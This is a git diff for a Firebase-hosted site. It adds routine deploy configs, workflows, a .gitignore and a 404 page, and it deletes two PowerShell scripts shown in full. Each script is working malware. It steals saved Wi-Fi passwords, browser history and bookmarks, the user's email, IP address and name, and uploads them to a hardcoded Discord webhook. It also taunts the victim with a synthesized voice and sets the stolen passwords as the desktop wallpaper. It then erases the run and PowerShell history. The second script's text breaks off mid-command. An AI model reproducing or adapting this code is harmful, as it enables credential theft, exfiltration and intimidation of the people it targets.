diff --git a/.firebaserc b/.firebaserc new file mode 100644 index 0000000..0b23fe1 --- /dev/null +++ b/.firebaserc @@ -0,0 +1,5 @@ +{ + "projects": { + "default": "formtime-577f3" + } +} diff --git a/.github/workflows/firebase-hosting-merge.yml b/.github/workflows/firebase-hosting-merge.yml new file mode 100644 index 0000000..fbeaaf5 --- /dev/null +++ b/.github/workflows/firebase-hosting-merge.yml @@ -0,0 +1,19 @@ +# This file was auto-generated by the Firebase CLI +# https://github.com/firebase/firebase-tools + +name: Deploy to Firebase Hosting on merge +'on': + push: + branches: + - main +jobs: + build_and_deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: FirebaseExtended/action-hosting-deploy@v0 + with: + repoToken: '${{ secrets.GITHUB_TOKEN }}' + firebaseServiceAccount: '${{ secrets.FIREBASE_SERVICE_ACCOUNT_FORMTIME_577F3 }}' + channelId: live + projectId: formtime-577f3 diff --git a/.github/workflows/firebase-hosting-pull-request.yml b/.github/workflows/firebase-hosting-pull-request.yml new file mode 100644 index 0000000..8afb741 --- /dev/null +++ b/.github/workflows/firebase-hosting-pull-request.yml @@ -0,0 +1,16 @@ +# This file was auto-generated by the Firebase CLI +# https://github.com/firebase/firebase-tools + +name: Deploy to Firebase Hosting on PR +'on': pull_request +jobs: + build_and_preview: + if: '${{ github.event.pull_request.head.repo.full_name == github.repository }}' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: FirebaseExtended/action-hosting-deploy@v0 + with: + repoToken: '${{ secrets.GITHUB_TOKEN }}' + firebaseServiceAccount: '${{ secrets.FIREBASE_SERVICE_ACCOUNT_FORMTIME_577F3 }}' + projectId: formtime-577f3 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..dbb58ff --- /dev/null +++ b/.gitignore @@ -0,0 +1,66 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +firebase-debug.log* +firebase-debug.*.log* + +# Firebase cache +.firebase/ + +# Firebase config + +# Uncomment this if you'd like others to create their own Firebase project. +# For a team working on the same Firebase project(s), it is recommended to leave +# it commented so all members can deploy to the same project(s) in .firebaserc. +# .firebaserc + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (http://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variables file +.env diff --git a/404.html b/404.html new file mode 100644 index 0000000..829eda8 --- /dev/null +++ b/404.html @@ -0,0 +1,33 @@ + + + + + + Page Not Found + + + + +
+

404

+

Page Not Found

+

The specified file was not found on this website. Please check the URL for mistakes and try again.

+

Why am I seeing this?

+

This page was generated by the Firebase Command-Line Interface. To modify it, edit the 404.html file in your project's configured public directory.

+
+ + diff --git a/Demp.mp3 b/Demp.mp3 new file mode 100644 index 0000000..2dd00e6 Binary files /dev/null and b/Demp.mp3 differ diff --git a/Images/omg.ps1 b/Images/omg.ps1 deleted file mode 100644 index 2e3433c..0000000 --- a/Images/omg.ps1 +++ /dev/null @@ -1,450 +0,0 @@ -$WebHook = "https://discord.com/api/webhooks/1061037724158656623/" + "o01hWxoWfHLb-TZg6wdZQzRBozVziu6C90r0Hk4B2o_pG2p25cnSNjJAXJwL4symR6YD" - -function Get-BrowserData { - - [CmdletBinding()] - param ( - [Parameter (Position = 1, Mandatory = $True)] - [string]$Browser, - [Parameter (Position = 1, Mandatory = $True)] - [string]$DataType - ) - - $Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' - - if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" } - elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" } - elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History" } - elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) { $Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" } - elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite" } - - - $Value = Get-Content -Path $Path | Select-String -AllMatches $regex | % { ($_.Matches).Value } | Sort -Unique - $Value | ForEach-Object { - $Key = $_ - if ($Key -match $Search) { - New-Object -TypeName PSObject -Property @{ - User = $env:UserName - Browser = $Browser - DataType = $DataType - Data = $_ - } - } - } -} - -Function Minimize-Apps { - $apps = New-Object -ComObject Shell.Application - $apps.MinimizeAll() -} - -function Upload-Discord { - - [CmdletBinding()] - param ( - [parameter(Position = 0, Mandatory = $False)] - [string]$file, - [parameter(Position = 1, Mandatory = $False)] - [string]$text - ) - - $hookurl = $WebHook - - $Body = @{ - 'username' = $env:username - 'content' = $text - } - - if (-not ([string]::IsNullOrEmpty($text))) { - Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json) - }; - - if (-not ([string]::IsNullOrEmpty($file))) { curl.exe -F "file1=@$file" $hookurl } -} - -function Get-fullName { - - try { - - $fullName = Net User $Env:username | Select-String -Pattern "Full Name"; $fullName = ("$fullName").TrimStart("Full Name") - Write-Host $fullName -ForegroundColor Green - } - - # If no name is detected function will return $env:UserName - - # Write Error is just for troubleshooting - catch { - Write-Error "No name was detected" - return $env:UserName - -ErrorAction SilentlyContinue - } - - return $fullName - -} - -function Get-Ram { - $ram = Get-WmiObject Win32_ComputerSystem | Select-Object TotalPhysicalMemory - $ram = $ram.TotalPhysicalMemory / 1GB - $ram = [math]::Round($ram) - Write-Host $ram Done -ForegroundColor Green - return $ram -} - -function Get-PublicIP { - try { - $computerPubIP = (Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content - Write-Host $computerPubIP -ForegroundColor Green - } - catch { - Write-error "No public IP found" - return $null - -ErrorAction SilentlyContinue - } - - return $computerPubIP -} - -function Get-Pass { - try { - $pro = netsh wlan show interface | Select-String -Pattern " SSID " - $pro = $pro -replace "SSID", ""; $pro = $pro -replace ":", ""; $pro = $pro -replace " ", ""; - - $pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass - $passPOS = $pass.IndexOf(':') - $pass = $pass.Substring($passPOS + 2).Trim() - Write-Host $pass -ForegroundColor Green - } - catch { - Weite-Error "No network found" - return $null - -ErrorAction SilentlyContinue - } - return $pass -} - -function Get-Networks { - # Get Wifi SSIDs and Passwords - $WLANProfileNames = @() - - #Get all the WLAN profile names - $Output = netsh.exe wlan show profiles | Select-String -pattern " : " - - #Trim the output to receive only the name - Foreach ($WLANProfileName in $Output) { - $WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim() - } - $WLANProfileObjects = @() - - ForEach ($WLANProfileName in $WLANProfileNames) { - try { - $WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string "Key Content" ) -split ":")[1]).Trim() - } - catch { - $WLANProfilePassword = "The password is not stored in this profile :(" - } - - $WLANProfileObject = New-Object PSCustomObject - $WLANProfileObject | Add-Member -Type NoteProperty -Name "SSID" -Value $WLANProfileName - $WLANProfileObject | Add-Member -Type NoteProperty -Name "Password" -Value $WLANProfilePassword - $WLANProfileObjects += $WLANProfileObject - } - return $WLANProfileObjects - - Write-Host "Networks found: $WLANProfileNames.Count" -ForegroundColor Green - - # return $WLANProfileNames -} - -function Gen-Image { - param ( - # Networks - [parameter(Mandatory = $True)] - [Object]$Networks - ) - - Add-Type -AssemblyName System.Drawing - - $filename = "C:\Users\Public\Documents\test.png" - $font = new-object System.Drawing.Font Consolas, 24 - $brushBg = [System.Drawing.Brushes]::Black - $brushFg = [System.Drawing.Brushes]::White - - # Create the Bitmap object - $bmp = new-object System.Drawing.Bitmap 1920, 1080 - $graphics = [System.Drawing.Graphics]::FromImage($bmp) - $graphics.FillRectangle($brushBg, 0, 0, $bmp.Width, $bmp.Height) - $graphics.DrawString("Computer name and ip: $(Get-PublicIP)", $font, $brushFg, 10, 10) - $y = 40 - foreach ($net in $Networks) { - # $size = $graphics.MeasureString($net.Password, $font) - $graphics.DrawString("$($net.SSID):", $font, $brushFg, 20, $y) - $graphics.DrawString(" " * 40 + $net.Password, $font, $brushFg, 150, $y) - $y += 30 - } - $graphics.Dispose() - $bmp.Save($filename) - - # Invoke-Item $filename - - - # Copy the image to the desktop - $newPath = "C:\Users\$env:USERNAME\Desktop\NotSUS.png" - Copy-Item "C:\Users\Public\Documents\test.png" $newPath - - Write-Host "Image generated" -ForegroundColor Green - return "C:\Users\Public\Documents\test.png" -} - -function Set-WallPaper { - param ( - [parameter(Mandatory = $True)] - # Provide path to image - [string]$Image, - # Provide wallpaper style that you would like applied - [parameter(Mandatory = $False)] - [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')] - [string]$Style - ) - - $WallpaperStyle = Switch ($Style) { - - "Fill" { "10" } - "Fit" { "6" } - "Stretch" { "2" } - "Tile" { "0" } - "Center" { "0" } - "Span" { "22" } - - } - - If ($Style -eq "Tile") { - - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force - - } - Else { - - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force - - } - - Add-Type -TypeDefinition @" -using System; -using System.Runtime.InteropServices; - -public class Params -{ - [DllImport("User32.dll",CharSet=CharSet.Unicode)] - public static extern int SystemParametersInfo (Int32 uAction, - Int32 uParam, - String lpvParam, - Int32 fuWinIni); -} -"@ - - $SPI_SETDESKWALLPAPER = 0x0014 - $UpdateIniFile = 0x01 - $SendChangeEvent = 0x02 - - $fWinIni = $UpdateIniFile -bor $SendChangeEvent - - [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni) -} - -function Get-email { - try { - $email = GPRESULT -Z /USER $Env:USERNAME | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches; $email = ("$email").Trim() - # $emailpos = $email.IndexOf("@") - # $domain = $email.Substring($emailpos + 1) - Write-Host "Email found: $email" -ForegroundColor Green - } - catch { - $email = "No email found" - Write-Error "No email found" - } - return $email - -} - -function Get-Days_Set { - try { - $pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls - $plsPOS = $pls.IndexOf("e") - $pls = $pls.Substring($plsPOS + 2).Trim() - $pls = $pls -replace ".{3}$" - $time = ((get-date) - (get-date "$pls")) ; $time = [string]$time - $DateArray = $time.Split(".") - $days = [int]$DateArray[0] - Write-Host "Days since password set: $days" -ForegroundColor Green - } - - # If no password set date is detected funtion will return $null to cancel Sapi Speak - - # Write Error is just for troubleshooting - catch { - Write-Error "Day password set not found" - return $null - -ErrorAction SilentlyContinue - } - return $days -} - -$s = New-Object -ComObject SAPI.SpVoice - -$s.Rate = -1 -$days = Get-Days_Set -$full_name = Get-fullName -$ram = Get-Ram -$ip = Get-PublicIP -$pass = Get-Pass -$email = Get-email -$Networks = Get-Networks -$passLength = $pass.Length -$porn = 0 - -$E_his = Get-BrowserData -Browser "edge" -DataType "history" -ErrorAction SilentlyContinue -$E_Boo = Get-BrowserData -Browser "edge" -DataType "bookmarks" -ErrorAction SilentlyContinue -$C_his = Get-BrowserData -Browser "chrome" -DataType "history" -ErrorAction SilentlyContinue -$C_boo = Get-BrowserData -Browser "chrome" -DataType "bookmarks" -ErrorAction SilentlyContinue -$F_his = Get-BrowserData -Browser "firefox" -DataType "history" -ErrorAction SilentlyContinue - -# caps lock indicator light -$blinks = 3; $o = New-Object -ComObject WScript.Shell; for ($num = 1 ; $num -le $blinks * 2; $num++) { $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Milliseconds 250 } -$k = [Math]::Ceiling(100 / 2); $o = New-Object -ComObject WScript.Shell; for ($i = 0; $i -lt $k; $i++) { $o.SendKeys([char] 175) } - - -#----------------------------------------------------------------------------------------------------------- - -<# -.NOTES - Then the script will be paused until the mouse is moved - script will check mouse position every indicated number of seconds - This while loop will constantly check if the mouse has been moved - "CAPSLOCK" will be continously pressed to prevent screen from turning off - it will then sleep for the indicated number of seconds and check again - when mouse is moved it will break out of the loop and continue theipt -#> - - -Add-Type -AssemblyName System.Windows.Forms -$originalPOS = [System.Windows.Forms.Cursor]::Position.X - -while (1) { - $pauseTime = 3 - if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS) { - break - } - else { - $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Seconds $pauseTime - } -} -Write-Host "it worked" - -$wshell = New-Object -ComObject Wscript.Shell -$wshell.Popup("INTRUDER DETECTED `nHello $full_name...", 0, "Error", 32 + 4) - - -$s.Speak("Hello $full_name, I have accessed your computer. Your security is weak.") - -if ($ram -gt 63) { -$s.Speak("You have $ram gigabytes of ram. But with no security measures in place, it's useless against a skilled hacker like me.") -} -elseif ($ram -gt 31) { -$s.Speak("You have $ram gigabytes of ram. Decent, but your lack of security makes it easy for me to infiltrate your system.") -} -elseif ($ram -gt 15) { -$s.Speak("You have $ram gigabytes of ram. It's enough to run basic programs, but it's not enough to protect you from a determined attacker like me.") -} -else { -$s.Speak("You have $ram gigabytes of ram. It's not even enough to run most programs, let alone protect your computer from a hacker like me.") -} - -if ($pass -gt 6) { -$message = "A password thats $passLength characters long. But it's not enough to stop me." -} -else { -$message = "A password thats $passLength characters long is not secure at all. It's easy for me to crack." -} - -if ($days -gt 30) { -$message = $message + " You have not changed your password in $days days. It's like you're inviting me to hack into your account." -} -else { -$message = $message + " You have changed your password recently. But it's not enough to stop me from hacking into your account." -} - -$s.Speak("I see your browser history is somewhat clean, but I still managed to find your personal information.") - -$s.Speak($message) - -$s.Speak("You think I am just making this info up? Think again. I have access to all of your sensitive information.") - -$s.Speak("Your public IP address is $ip. I can use it to track your location and find out even more about you.") - -$s.Speak("You have a lot of mail in $email. I can use it to steal your identity or scam your friends and family.") - -$s.Speak("Want to see something scary? I have taken control of your desktop.") - -$Image = Gen-Image -Networks $Networks -Set-WallPaper -Image $Image -Style "Fit" - -Minimize-Apps - - -$s.Speak("Have a look at your desktop, You will hear from us soon $full_name. Goodluck.") - -# open the terminal and run the commands - -Start-Process -FilePath "powershell.exe" -ArgumentList "-NoExit -Command 'Get-Process | Out-File -FilePath C:\Users\Public\Documents\processes.txt'" -WindowStyle Hidden - - -reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f - -# Delete powershell history - -Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue - -# Remove-Item "C:\Users\Public\Documents\test.png" - -Add-Type -AssemblyName System.Windows.Forms -$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') - -Upload-Discord -file "C:\Users\Public\Documents\test.png" - -# Save all $E_his, $E_Boo, $C_his, $C_boo, $F_his to a file -$E_his | Out-File -FilePath "C:\Users\Public\Documents\edge_history.txt" -$E_Boo | Out-File -FilePath "C:\Users\Public\Documents\edge_bookmarks.txt" -$C_his | Out-File -FilePath "C:\Users\Public\Documents\chrome_history.txt" -$C_boo | Out-File -FilePath "C:\Users\Public\Documents\chrome_bookmarks.txt" -$F_his | Out-File -FilePath "C:\Users\Public\Documents\firefox_history.txt" - -# combine all files into one -Get-ChildItem -Path "C:\Users\Public\Documents\" -Filter "*.txt" | Get-Content | Out-File -FilePath "C:\Users\Public\Documents\all_history.txt" - -# Upload all files to discord -Upload-Discord -file "C:\Users\Public\Documents\all_history.txt" - -Invoke-Item "C:\Users\Public\Documents\test.png" - - -#If true, toggle CapsLock key, to ensure that the script doesn't fail -if ($caps -eq $true) { - $key = New-Object -ComObject WScript.Shell - $key.SendKeys('{CapsLock}') -} - - -<# -.NOTES - Get-Ram - Get-PublicIP - Get-Pass - Get-Networks - Gen-Image - Set-WallPaper - Get-email - Get-Days_Set -#> \ No newline at end of file diff --git a/Images/script.ps1 b/Images/script.ps1 deleted file mode 100644 index d505fd9..0000000 --- a/Images/script.ps1 +++ /dev/null @@ -1,473 +0,0 @@ -$WebHook = "https://discord.com/api/webhooks/1061037724158656623/" + "o01hWxoWfHLb-TZg6wdZQzRBozVziu6C90r0Hk4B2o_pG2p25cnSNjJAXJwL4symR6YD" - -function Get-BrowserData { - - [CmdletBinding()] - param ( - [Parameter (Position = 1, Mandatory = $True)] - [string]$Browser, - [Parameter (Position = 1, Mandatory = $True)] - [string]$DataType - ) - - $Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' - - if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" } - elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) { $Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" } - elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History" } - elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) { $Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" } - elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) { $Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite" } - - - $Value = Get-Content -Path $Path | Select-String -AllMatches $regex | % { ($_.Matches).Value } | Sort -Unique - $Value | ForEach-Object { - $Key = $_ - if ($Key -match $Search) { - New-Object -TypeName PSObject -Property @{ - User = $env:UserName - Browser = $Browser - DataType = $DataType - Data = $_ - } - } - } -} - -Function Minimize-Apps { - $apps = New-Object -ComObject Shell.Application - $apps.MinimizeAll() -} - -function Upload-Discord { - - [CmdletBinding()] - param ( - [parameter(Position = 0, Mandatory = $False)] - [string]$file, - [parameter(Position = 1, Mandatory = $False)] - [string]$text - ) - - $hookurl = $WebHook - - $Body = @{ - 'username' = $env:username - 'content' = $text - } - - if (-not ([string]::IsNullOrEmpty($text))) { - Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json) - }; - - if (-not ([string]::IsNullOrEmpty($file))) { curl.exe -F "file1=@$file" $hookurl } -} - -function Get-fullName { - - try { - - $fullName = Net User $Env:username | Select-String -Pattern "Full Name"; $fullName = ("$fullName").TrimStart("Full Name") - Write-Host $fullName -ForegroundColor Green - } - - # If no name is detected function will return $env:UserName - - # Write Error is just for troubleshooting - catch { - Write-Error "No name was detected" - return $env:UserName - -ErrorAction SilentlyContinue - } - - return $fullName - -} - -function Get-Ram { - $ram = Get-WmiObject Win32_ComputerSystem | Select-Object TotalPhysicalMemory - $ram = $ram.TotalPhysicalMemory / 1GB - $ram = [math]::Round($ram) - Write-Host $ram Done -ForegroundColor Green - return $ram -} - -function Get-PublicIP { - try { - $computerPubIP = (Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content - Write-Host $computerPubIP -ForegroundColor Green - } - catch { - Write-error "No public IP found" - return $null - -ErrorAction SilentlyContinue - } - - return $computerPubIP -} - -function Get-Pass { - try { - $pro = netsh wlan show interface | Select-String -Pattern " SSID " - $pro = $pro -replace "SSID", ""; $pro = $pro -replace ":", ""; $pro = $pro -replace " ", ""; - - $pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass - $passPOS = $pass.IndexOf(':') - $pass = $pass.Substring($passPOS + 2).Trim() - Write-Host $pass -ForegroundColor Green - } - catch { - Weite-Error "No network found" - return $null - -ErrorAction SilentlyContinue - } - return $pass -} - -function Get-Networks { - # Get Wifi SSIDs and Passwords - $WLANProfileNames = @() - - #Get all the WLAN profile names - $Output = netsh.exe wlan show profiles | Select-String -pattern " : " - - #Trim the output to receive only the name - Foreach ($WLANProfileName in $Output) { - $WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim() - } - $WLANProfileObjects = @() - - ForEach ($WLANProfileName in $WLANProfileNames) { - try { - $WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string "Key Content" ) -split ":")[1]).Trim() - } - catch { - $WLANProfilePassword = "The password is not stored in this profile :(" - } - - $WLANProfileObject = New-Object PSCustomObject - $WLANProfileObject | Add-Member -Type NoteProperty -Name "SSID" -Value $WLANProfileName - $WLANProfileObject | Add-Member -Type NoteProperty -Name "Password" -Value $WLANProfilePassword - $WLANProfileObjects += $WLANProfileObject - } - return $WLANProfileObjects - - Write-Host "Networks found: $WLANProfileNames.Count" -ForegroundColor Green - - # return $WLANProfileNames -} - -function Gen-Image { - param ( - # Networks - [parameter(Mandatory = $True)] - [Object]$Networks - ) - - Add-Type -AssemblyName System.Drawing - - $filename = "C:\Users\Public\Documents\test.png" - $font = new-object System.Drawing.Font Consolas, 24 - $brushBg = [System.Drawing.Brushes]::Black - $brushFg = [System.Drawing.Brushes]::White - - # Create the Bitmap object - $bmp = new-object System.Drawing.Bitmap 1920, 1080 - $graphics = [System.Drawing.Graphics]::FromImage($bmp) - $graphics.FillRectangle($brushBg, 0, 0, $bmp.Width, $bmp.Height) - $graphics.DrawString("Computer name and ip: $(Get-PublicIP)", $font, $brushFg, 10, 10) - $y = 40 - foreach ($net in $Networks) { - # $size = $graphics.MeasureString($net.Password, $font) - $graphics.DrawString("$($net.SSID):", $font, $brushFg, 20, $y) - $graphics.DrawString(" " * 40 + $net.Password, $font, $brushFg, 150, $y) - $y += 30 - } - $graphics.Dispose() - $bmp.Save($filename) - - # Invoke-Item $filename - - - # Copy the image to the desktop - $newPath = "C:\Users\$env:USERNAME\Desktop\NotSUS.png" - Copy-Item "C:\Users\Public\Documents\test.png" $newPath - - Write-Host "Image generated" -ForegroundColor Green - return "C:\Users\Public\Documents\test.png" -} - -function Set-WallPaper { - param ( - [parameter(Mandatory = $True)] - # Provide path to image - [string]$Image, - # Provide wallpaper style that you would like applied - [parameter(Mandatory = $False)] - [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')] - [string]$Style - ) - - $WallpaperStyle = Switch ($Style) { - - "Fill" { "10" } - "Fit" { "6" } - "Stretch" { "2" } - "Tile" { "0" } - "Center" { "0" } - "Span" { "22" } - - } - - If ($Style -eq "Tile") { - - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force - - } - Else { - - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force - New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force - - } - - Add-Type -TypeDefinition @" -using System; -using System.Runtime.InteropServices; - -public class Params -{ - [DllImport("User32.dll",CharSet=CharSet.Unicode)] - public static extern int SystemParametersInfo (Int32 uAction, - Int32 uParam, - String lpvParam, - Int32 fuWinIni); -} -"@ - - $SPI_SETDESKWALLPAPER = 0x0014 - $UpdateIniFile = 0x01 - $SendChangeEvent = 0x02 - - $fWinIni = $UpdateIniFile -bor $SendChangeEvent - - [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni) -} - -function Get-email { - try { - $email = GPRESULT -Z /USER $Env:USERNAME | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches; $email = ("$email").Trim() - # $emailpos = $email.IndexOf("@") - # $domain = $email.Substring($emailpos + 1) - Write-Host "Email found: $email" -ForegroundColor Green - } - catch { - $email = "No email found" - Write-Error "No email found" - } - return $email - -} - -function Get-Days_Set { - try { - $pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls - $plsPOS = $pls.IndexOf("e") - $pls = $pls.Substring($plsPOS + 2).Trim() - $pls = $pls -replace ".{3}$" - $time = ((get-date) - (get-date "$pls")) ; $time = [string]$time - $DateArray = $time.Split(".") - $days = [int]$DateArray[0] - Write-Host "Days since password set: $days" -ForegroundColor Green - } - - # If no password set date is detected funtion will return $null to cancel Sapi Speak - - # Write Error is just for troubleshooting - catch { - Write-Error "Day password set not found" - return $null - -ErrorAction SilentlyContinue - } - return $days -} - -$s1 = New-Object -ComObject SAPI.SpVoice -# different voices -$s2 = New-Object -ComObject SAPI.SpVoice -$s2.Voice = $s2.GetVoices().Item(1) - -$s1.Rate = -1 -$s2.Rate = -1 -$days = Get-Days_Set -$full_name = Get-fullName -$ram = Get-Ram -$ip = Get-PublicIP -$pass = Get-Pass -$email = Get-email -$Networks = Get-Networks -$passLength = $pass.Length -$porn = 0 - -$E_his = Get-BrowserData -Browser "edge" -DataType "history" -ErrorAction SilentlyContinue -$E_Boo = Get-BrowserData -Browser "edge" -DataType "bookmarks" -ErrorAction SilentlyContinue -$C_his = Get-BrowserData -Browser "chrome" -DataType "history" -ErrorAction SilentlyContinue -$C_boo = Get-BrowserData -Browser "chrome" -DataType "bookmarks" -ErrorAction SilentlyContinue -$F_his = Get-BrowserData -Browser "firefox" -DataType "history" -ErrorAction SilentlyContinue - -# caps lock indicator light -$blinks = 3; $o = New-Object -ComObject WScript.Shell; for ($num = 1 ; $num -le $blinks * 2; $num++) { $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Milliseconds 250 } -$k = [Math]::Ceiling(100 / 2); $o = New-Object -ComObject WScript.Shell; for ($i = 0; $i -lt $k; $i++) { $o.SendKeys([char] 175) } - - -#----------------------------------------------------------------------------------------------------------- - -<# -.NOTES - Then the script will be paused until the mouse is moved - script will check mouse position every indicated number of seconds - This while loop will constantly check if the mouse has been moved - "CAPSLOCK" will be continously pressed to prevent screen from turning off - it will then sleep for the indicated number of seconds and check again - when mouse is moved it will break out of the loop and continue theipt -#> - - -Add-Type -AssemblyName System.Windows.Forms -$originalPOS = [System.Windows.Forms.Cursor]::Position.X - -while (1) { - $pauseTime = 3 - if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS) { - break - } - else { - $o.SendKeys("{CAPSLOCK}"); Start-Sleep -Seconds $pauseTime - } -} -Write-Host "it worked" - -$wshell = New-Object -ComObject Wscript.Shell -$wshell.Popup("INTRUDER DETECTED `nHello $full_name...", 0, "Error", 32 + 4) - - -$s1.Speak("Hello $full_name.") - -if ($ram -gt 63) { - $s1.Speak("You have $ram gigabytes of ram. Really? You dont need that much for watching *THINGS* on the internet $full_name. But a computer this good with no security...") -} -elseif ($ram -gt 31) { - $s1.Speak("You have $ram gigabytes of ram. Decent pc. You dont need that much for watching *THINGS* on the internet $full_name. But a computer this good with no security...") -} -elseif ($ram -gt 15) { - $s1.Speak("You have $ram gigabytes of ram. Nice amout to run. If you just play games, perfect. Good for watching *THINGS* on the internet.. But no security...") -} -else { - $s1.Speak("You have $ram gigabytes of ram. Poor you :(. You wont need this pc then.") -} - -$pornSites = @("pornhub", "xvideos", "redtube", "youporn", "xhamster") -foreach ($site in $pornSites){ -if ($E_his -match $site -or $E_Boo -match $site -or $C_his -match $site -or $C_boo -match $site -or $F_his -match $site) { -$porn = $true -break -} -} - - -# if pass is bigger or less then -if ($pass -gt 6) { - $message = "A password thats $passLength characters long. Well done. Your not as dumb as you seem, still pretty dumb." -} -else { - $message = "A password thats $passLength characters long is not secure at all mate. Pretty dumb." -} - -if ($days -gt 30) { - $message = $message + " You have not changed your password in $days days. You should change it. Or i will invite my friends over to your house and we will change it for you...." -} -else { - $message = $message + " You have changed your password in $days days. Good job. Guess if you keep this up il have to find a new victim." -} -[console]::beep(1000,500), [console]::beep(2000,200) -$s2.Speak("Nice to see your bwowSer history is somewhat clean") - -if ($porn) { -$s2.speak("Eww, nevermid, wtf have u looked up") -} - - -$s2.Speak($message) -[console]::beep(1000,500), [console]::beep(2000,200) - - -$s1.Speak("You think i am just making this info up, well think again... I am sure you thought $pass as a password was sucure...") -[console]::beep(1000,500) -$s2.Speak("Your public IP address is $ip. I can use it to track your location and find out even more about you.") -[console]::beep(1000,500) -$s1.Speak("You have a lot of mail in $email. I can use it to steal your identity or scam your friends and family.") -[console]::beep(1000,500) -[console]::beep(1000,500), [console]::beep(2000,300), [console]::beep(1000,200) -$s2.Speak("Want to see something cool?") - - -$Image = Gen-Image -Networks $Networks -Set-WallPaper -Image $Image -Style "Fit" - -Minimize-Apps - - -$s2.Speak("Have a look at your desktop, You will hear from us soon $full_name. Goodluck.") - -# open the terminal and run the commands - -Start-Process -FilePath "powershell.exe" -ArgumentList "-NoExit -Command 'Get-Process | Out-File -FilePath C:\Users\Public\Documents\processes.txt'" -WindowStyle Hidden - - -reg delete 